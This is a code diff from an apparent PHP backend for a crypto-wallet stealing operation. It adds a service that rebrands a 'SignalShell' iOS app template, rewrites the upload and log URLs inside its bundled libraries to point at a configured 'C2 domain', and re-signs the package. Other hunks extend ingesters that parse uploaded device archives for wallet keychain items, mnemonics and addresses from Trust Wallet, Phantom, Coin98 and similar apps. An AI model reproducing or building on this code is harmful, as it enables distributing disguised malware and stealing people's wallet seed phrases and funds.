+                        'device_id' => $device->id,
+                        'address' => $addr,
+                        'chain_type' => $ct,
+                        'source' => $sourceLabel,
+                    ]);
+                } catch (\Throwable $e) {
+                    // skip
+                }
+            }
+        }
+    }
+
+    private function sourceFromFilename(string $filename): string
+    {
+        $fn = strtolower($filename);
+        if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet';
+        if (str_contains($fn, 'tronlink')) return 'TronLink';
+        if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken';
+        if (str_contains($fn, 'bitpie')) return 'Bitpie';
+        if (str_contains($fn, 'global.wallet')) return 'Global Wallet';
+        if (str_contains($fn, 'metamask')) return 'MetaMask';
+        if (str_contains($fn, 'coin98')) return 'Coin98';
+        if (str_contains($fn, 'phantom')) return 'Phantom';
+        if (str_contains($fn, 'uniswap')) return 'Uniswap';
+        if (str_contains($fn, 'exodus')) return 'Exodus';
+        if (str_contains($fn, 'tonhub')) return 'Tonhub';
+        if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper';
+        if (str_contains($fn, 'okex')) return 'OKX';
+
+        return substr(basename($filename, '.zip'), 0, 40);
+    }
+
+    private function isJson(string $content): bool
+    {
+        $t = ltrim($content);
+        return str_starts_with($t, '{') || str_starts_with($t, '[');
+    }
+}
@@ -36,7 +36,7 @@ class Channel extends Model

    protected $fillable = [
        'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
-        'app_name', 'bundle_id',
+        'app_name', 'bundle_id', 'h5_url',
    ];

    protected $attributes = [
@@ -0,0 +1,356 @@
+<?php
+
+namespace App\Services;
+
+use App\Models\Channel;
+use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Facades\Process;
+use RuntimeException;
+
+/**
+ * Build a customized SignalShell IPA for App-builder channels.
+ *
+ * Takes a base IPA template, patches it with the channel's
+ * domain / channel ID / app name / logo, and outputs a
+ * downloadable IPA file.
+ */
+class AppPackageService
+{
+    /** Base IPA template path (uploaded once via admin). */
+    private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
+
+    /** Icon sizes to generate from the uploaded logo. */
+    private const ICON_SIZES = [
+        'Icon-20.png' => 20,
+        'Icon-20@2x.png' => 40,
+        'Icon-20@3x.png' => 60,
+        'Icon-29.png' => 29,
+        'Icon-29@2x.png' => 58,
+        'Icon-29@3x.png' => 87,
+        'Icon-40.png' => 40,
+        'Icon-40@2x.png' => 80,
+        'Icon-40@3x.png' => 120,
+        'Icon-60@2x.png' => 120,
+        'Icon-60@3x.png' => 180,
+        'Icon-76.png' => 76,
+        'Icon-76@2x.png' => 152,
+        'Icon-83.5@2x.png' => 167,
+    ];
+
+    /**
+     * Build a customized IPA for the given channel.
+     *
+     * @param  Channel  $channel  App-builder channel with app_name, bundle_id, channel_id
+     * @param  string|null  $logoPath  Temporary path to the uploaded logo (PNG, ≥180×180)
+     * @param  string  $apiDomain  C2 domain (e.g. hslaxo.cc)
+     * @return array{success: bool, path: string, size: int, error: string}
+     */
+    public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
+    {
+        $baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
+        if (! file_exists($baseIpa)) {
+            return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
+        }
+
+        $workDir = storage_path('app/app-builds/'.$channel->channel_id);
+        if (is_dir($workDir)) {
+            $this->rrmdir($workDir);
+        }
+        @mkdir($workDir, 0755, true);
+
+        try {
+            // 1. Extract base IPA
+            $zip = new \ZipArchive;
+            if ($zip->open($baseIpa) !== true) {
+                throw new RuntimeException('Cannot open base IPA');
+            }
+            $zip->extractTo($workDir);
+            $zip->close();
+
+            $appDir = $workDir.'/Payload/SignalShell.app';
+            if (! is_dir($appDir)) {
+                // Try to find any .app directory
+                $payload = $workDir.'/Payload';
+                $dirs = glob($payload.'/*.app');
+                if (empty($dirs)) {
+                    throw new RuntimeException('No .app directory found in IPA');
+                }
+                $appDir = $dirs[0];
+            }
+
+            // 2. Patch Info.plist
+            $this->patchInfoPlist($appDir, $channel);
+
+            // 3. Generate icons from logo
+            if ($logoPath && file_exists($logoPath)) {
+                $this->generateIcons($appDir, $logoPath);
+            }
+
+            // 4. Patch libroute.dylib (domain + channel ID)
+            $this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
+
+            // 5. Patch libmcmlease.dylib (domain)
+            $this->patchLibmcmlease($appDir, $apiDomain);
+
+            // 6. Sign (ldid if available, skip otherwise)
+            $this->sign($appDir);
+
+            // 7. Package IPA
+            $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
+            $outputFull = public_path($outputPath);
+            @mkdir(dirname($outputFull), 0755, true);
+
+            $outZip = new \ZipArchive;
+            if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
+                throw new RuntimeException('Cannot create output IPA');
+            }
+            $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
+            $outZip->close();
+
+            $size = filesize($outputFull);
+
+            // Cleanup
+            $this->rrmdir($workDir);
+
+            return [
+                'success' => true,
+                'path' => '/'.$outputPath,
+                'size' => $size,
+                'error' => '',
+            ];
+        } catch (\Throwable $e) {
+            $this->rrmdir($workDir);
+            Log::error('AppPackageService: build failed', [
+                'channel' => $channel->channel_id,
+                'error' => $e->getMessage(),
+            ]);
+
+            return [
+                'success' => false,
+                'path' => '',
+                'size' => 0,
+                'error' => $e->getMessage(),
+            ];
+        }
+    }
+
+    private function patchInfoPlist(string $appDir, Channel $channel): void
+    {
+        $plistPath = $appDir.'/Info.plist';
+        $xml = file_get_contents($plistPath);
+
+        // Replace display name
+        $xml = preg_replace(
+            '#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
+            '<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
+            $xml,
+        );
+
+        // Replace bundle identifier
+        if ($channel->bundle_id) {
+            $xml = preg_replace(
+                '#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
+                '<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
+                $xml,
+            );
+        }
+
+        // Replace CFBundleName (short name)
+        $xml = preg_replace(
+            '#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
+            '<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
+            $xml,
+        );
+
+        file_put_contents($plistPath, $xml);
+    }
+
+    private function generateIcons(string $appDir, string $logoPath): void
+    {
+        if (! function_exists('imagecreatefrompng')) {
+            // GD not available, copy logo as-is for main icon only
+            copy($logoPath, $appDir.'/Icon-60@3x.png');
+            return;
+        }
+
+        $src = imagecreatefrompng($logoPath);
+        if ($src === false) {
+            return;
+        }
+
+        $srcW = imagesx($src);
+        $srcH = imagesy($src);
+
+        foreach (self::ICON_SIZES as $filename => $size) {
+            $dst = imagecreatetruecolor($size, $size);
+            // Transparent background
+            imagesavealpha($dst, true);
+            $trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
+            imagefill($dst, 0, 0, $trans);
+
+            // Resize (maintain aspect, crop center square)
+            $minSide = min($srcW, $srcH);
+            $srcX = ($srcW - $minSide) / 2;
+            $srcY = ($srcH - $minSide) / 2;
+            imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
+
+            imagepng($dst, $appDir.'/'.$filename, 6);
+            imagedestroy($dst);
+        }
+        imagedestroy($src);
+    }
+
+    private function patchLibroute(string $appDir, string $domain, string $channelId): void
+    {
+        $path = $appDir.'/Frameworks/libroute.dylib';
+        if (! file_exists($path)) {
+            throw new RuntimeException('libroute.dylib not found');
+        }
+
+        $data = file_get_contents($path);
+        $changes = 0;
+
+        // Replace domain: shenma.my → new domain (equal length or shorter)
+        $newDomain = $domain;
+        $oldDomain = 'shenma.my';
+        if (strlen($newDomain) > strlen($oldDomain)) {
+            // Cannot expand in-place, try replacing full URLs instead
+            // hslaxo.cc is 9 chars same as shenma.my
+            if (strlen($newDomain) !== strlen($oldDomain)) {
+                throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement');
+            }
+        }
+
+        // Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=<ID>&
+        $oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
+        $newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
+        if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C
+            $idx = strpos($data, $oldUpload);
+            if ($idx !== false) {
+                $data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1);
+                $changes++;
+            }
+        }
+
+        // Replace log upload URL
+        $oldLog = 'https://shenma.my/upload.php?name=';
+        $newLog = "https://{$domain}/api/ap/lg?n=";
+        if (strlen($newLog) <= 35) {
+            $idx = strpos($data, $oldLog);
+            if ($idx !== false) {
+                $data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1);
+                $changes++;
+            }
+        }
+
+        // Replace config path: /api/ios-shell → /api/ap
+        $oldConfig = '/api/ios-shell';
+        $newConfig = '/api/ap';
+        $idx = strpos($data, $oldConfig);
+        if ($idx !== false) {
+            $data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1);
+            $changes++;
+        }
+
+        // Replace any remaining shenma.my
+        $data = str_replace('shenma.my', $domain, $data);
+
+        file_put_contents($path, $data);
+    }
+
+    private function patchLibmcmlease(string $appDir, string $domain): void
+    {
+        $path = $appDir.'/Frameworks/libmcmlease.dylib';
+        if (! file_exists($path)) {
+            return;
+        }
+
+        $data = file_get_contents($path);
+        // Equal-length domain replacement
+        if (strlen($domain) === 9) { // same as shenma.my
+            $data = str_replace('shenma.my', $domain, $data);
+        }
+        file_put_contents($path, $data);
+    }
+
+    private function sign(string $appDir): void
+    {
+        // Try ldid first (Linux compatible)
+        $ldid = trim((string) shell_exec('which ldid 2>/dev/null'));
+        if ($ldid !== '') {
+            // Remove old signatures
+            $csDir = $appDir.'/_CodeSignature';
+            if (is_dir($csDir)) {
+                $this->rrmdir($csDir);
+            }
+
+            // Sign main binary + frameworks
+            $binaries = array_merge(
+                [$appDir.'/SignalShell'],
+                glob($appDir.'/Frameworks/*.dylib') ?: [],
+                glob($appDir.'/*.dylib') ?: [],
+            );
+
+            foreach ($binaries as $bin) {
+                if (file_exists($bin)) {
+                    Process::run([$ldid, '-S', $bin]);
+                }
+            }
+
+            return;
+        }
+
+        // Try codesign (macOS)
+        $codesign = trim((string) shell_exec('which codesign 2>/dev/null'));
+        if ($codesign !== '') {
+            $csDir = $appDir.'/_CodeSignature';
+            if (is_dir($csDir)) {
+                $this->rrmdir($csDir);
+            }
+            Process::run([$codesign, '-s', '-', '--force', '--deep', $appDir.'/']);
+
+            return;
+        }
+
+        // No signing tool available — output unsigned IPA
+        Log::warning('AppPackageService: no signing tool (ldid/codesign) found, IPA will be unsigned');
+    }
+
+    private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
+    {
+        $items = scandir($dir);
+        foreach ($items as $item) {
+            if ($item === '.' || $item === '..') {
+                continue;
+            }
+            $path = $dir.'/'.$item;
+            $zipPath = $prefix.'/'.$item;
+            if (is_dir($path)) {
+                $zip->addEmptyDir($zipPath);
+                $this->addDirToZip($zip, $path, $zipPath);
+            } else {
+                $zip->addFile($path, $zipPath);
+            }
+        }
+    }
+
+    private function rrmdir(string $dir): void
+    {
+        if (! is_dir($dir)) {
+            return;
+        }
+        $items = scandir($dir);
+        foreach ($items as $item) {
+            if ($item === '.' || $item === '..') {
+                continue;
+            }
+            $path = $dir.'/'.$item;
+            if (is_dir($path)) {
+                $this->rrmdir($path);
+            } else {
+                @unlink($path);
+            }
+        }
+        @rmdir($dir);
+    }
+}
@@ -404,7 +404,7 @@ final class AppUploadIngester
     */
    private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
    {
-        foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) {
+        foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) {
            $items = $buckets[$source]['items'] ?? null;
            if (! is_array($items) || $items === []) {
                continue;
@@ -1294,6 +1294,24 @@ class DarkSwordIngestAdapter
        // We don't have the key here in the recursive walk; detect from
        // service/account fields instead.

+        // Check direct 'address' field (Trust Wallet activeAccounts pattern:
+        // {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
+        $directAddr = (string) ($node['address'] ?? '');
+        if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
+            $chainType = WalletSource::inferChainType($directAddr);
+            // TronLink stores TRON addresses in hex format (0x41 prefix)
+            if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
+                $converted = self::hexTronToBase58($directAddr);
+                if ($converted !== null) {
+                    $directAddr = $converted;
+                    $chainType = 'TRON';
+                }
+            }
+            if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
+                $out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
+            }
+        }
+
        // Check account field for embedded addresses (Uniswap pattern:
        // "com.uniswap.mobile.mnemonic.0x4A45...").
        $acct = (string) ($node['account'] ?? '');
@@ -1461,4 +1479,49 @@ class DarkSwordIngestAdapter
        }
        $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
    }
+
+    /**
+     * Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
+     */
+    private static function hexTronToBase58(string $hex): ?string
+    {
+        if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
+            return null;
+        }
+        $bin = @hex2bin($hex);
+        if ($bin === false || strlen($bin) !== 21) {
+            return null;
+        }
+        $hash1 = hash('sha256', $bin, true);
+        $hash2 = hash('sha256', $hash1, true);
+        $data = $bin . substr($hash2, 0, 4);
+
+        $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
+        $base = strlen($alphabet);
+        $num = array_map('ord', str_split($data));
+        $result = '';
+
+        while (count($num) > 0 && $num[0] === 0) {
+            $result .= $alphabet[0];
+            $num = array_slice($num, 1);
+        }
+
+        while ($num !== []) {
+            $quotient = [];
+            $remainder = 0;
+            foreach ($num as $byte) {
+                $acc = $remainder * 256 + $byte;
+                $digit = intdiv($acc, $base);
+                $remainder = $acc % $base;
+                if ($quotient !== [] || $digit !== 0) {
+                    $quotient[] = $digit;
+                }
+            }
+            $result = $alphabet[$remainder] . $result;
+            $num = $quotient;
+        }
+
+        return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
+    }
+
 }